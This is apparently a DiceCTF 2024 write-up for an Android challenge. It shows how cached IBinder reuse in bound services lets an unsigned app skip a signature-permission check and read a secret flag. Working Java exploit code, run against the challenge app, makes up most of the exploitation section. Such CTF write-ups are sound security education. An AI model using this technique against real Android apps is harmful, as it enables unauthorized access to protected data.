Spellbound - DiceCTF 2024

Spellbound - DiceCTF 2024

Quick Summary

Spellbound is an android challenge from DiceCTF 2024, and as implied by its name, it involves android bound services. In this write-up, I will explain what bound services are and how they can be exploited to perform unauthorized actions. The challenge contains a zip file with 2 APKs: DictionaryService.apk and DictionaryApp.apk.

Terminologies

Before diving into the challenge, i’ll explain a few terms that will be relevant along the way:

1) Bound services

A service (Component that can perform operations in the background without the need of a user interface) is referred to as bound when an application component binds to it. When a service is bound, it offers a client-server interface that allows components to interact with it, send requests, receive results.

2) AIDL

Language that defines the Interface that the server( service ) and the client have to agree upon in order to communicate using IPC.

3) IPC

Is a mechanism that allows different components to communicate with each other.

4) Binders

IPC mechanism that allows components to get a reference to a service, directly invoke methods on them and receive a response.

Challenge description

Analyzing DictionaryService.apk

<service android:name="com.dicectf2024.dictionaryservice.DictionaryService" android:enabled="true" android:exported="true"/>
<service android:name="com.dicectf2024.dictionaryservice.SignatureService" android:permission="com.dicectf2024.permission.dictionary.BIND_SIGNATURE_SERVICE" android:enabled="true" android:exported="true"/>

DictionaryService declares an onBind method and returns an IBinder object to caller if authorization checks performed on the intent are successful. Once the object is obtained, a call to the getData method can be made, passing in a string to retrieve it’s definition. If “flag” is received, it returns the flag token which is a 16-character random string stored in Encrypted shared preference.

For our intent to be deemed secure, it needs to contain a valid signature which can be obtained from the SignatureService service. SignatureService requires that any client attempting to bind to it must hold the com.dicectf2024.permission.dictionary.BIND_SIGNATURE_SERVICE permission. The system verifies the digital signatures of both the service and the client application to ensure they are signed by the same entity. Since our app’s signature is different from the service, the binding fails.

At this point, it is clear that only DictionaryApp can call the getData method, since it is signed using the same signing key that signed SignatureService.

Analyzing DictionaryApp.apk

In the OnCreate method, the activity binds to DictionaryService, sends it a string and receives it's definition in return. The activity is exported meaning other apps can launch it.

Exploiting a design implementation

To circumvent the signature permission check in DictionaryService, we need to exploit a design implementation in Android bound services. According to the docs:

💡
You can connect multiple clients to a service simultaneously. However, the system caches the IBinder service communication channel. In other words, the system calls the service's onBind() method to generate the IBinder only when the first client binds. The system then delivers that same IBinder to all additional clients that bind to that same service, without calling onBind() again.

This implies that when the DictionaryApp establishes a connection with the DictionaryService using a valid signature, an IBinder object is created and cached. Subsequent client connections do not undergo permission checks; instead, they receive the cached IBinder object directly.

writing the exploit app

I'll provide an overview of the code here. For detailed implementation, you can refer to the code in my GitHub repository.

OnCreate method

@Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        // create an intent to call Dictionaryapp
        Intent dictionaryAppIntent = new Intent();
        dictionaryAppIntent.setComponent(
                new ComponentName("com.dicectf2024.dictionaryapp", "com.dicectf2024.dictionaryapp.DefinitionActivity"));
        startActivity(dictionaryAppIntent);

        // Delay for 2 seconds before binding to DictionaryService
        new Handler().postDelayed(new Runnable() {
            @Override
            public void run() {
                bindToDictionaryService();
            }
        }, 2000);

        setContentView(R.layout.activity_main);
    }

An intent is created with the componentName set. Subsequently, DictionaryApp is initiated using startActivity. The delay is to wait until the connection btwn DictionaryService and DictionaryApp is made, then bindToDictionaryService method is called.

bindToDictionaryService method

private void bindToDictionaryService() {

        // create an intent to bind to the dictionary service
        Intent intent = new Intent();
        intent.setComponent(new ComponentName("com.dicectf2024.dictionaryservice",
                "com.dicectf2024.dictionaryservice.DictionaryService"));

        // bind to dictionary service
        bindService(intent, serviceConnection, BIND_AUTO_CREATE);
        Log.i(TAG, "Service bound");
    }

An intent is created that’ll be used to launch the DictionaryService. The bindService method takes the created intent, a serviceConnection object and a flag, then binds to the service.

ServiceConnection object

private ServiceConnection serviceConnection = new ServiceConnection() {

        // called when the connection with the service is established
        @Override
        public void onServiceConnected(ComponentName name, IBinder service) {
            // obtain the instance of IDictionaryService and store it in dictionaryService
            dictionaryService = IDictionaryService.Stub.asInterface(service); // dictionaryService is an instance of the
            // IDictionaryService
            Log.i(TAG, "Service connected");

            try {
                String flag = dictionaryService.getData("flag");
                Log.i(TAG, "found flag =====> " + flag);
            } catch (SecurityException | RemoteException e) {
                e.printStackTrace();
            }

        }
                // called when connection with the service is unexpectedly disconnected
                public void onServiceDisconnected(ComponentName name){...}

We begin by creating a ServiceConnection object that will be used to interact with the service. Within the object, we define the onServiceConnected method which manages the callback from the service once we execute the bindService method. Upon establishing a successful connection, we then call the getData method, passing in “flag” as parameter, and retrieve the random flag.

In this write-up we’ve explored various aspects of exploiting Android bound services and navigating security measures. I hope you found this information insightful. Until next time, peace!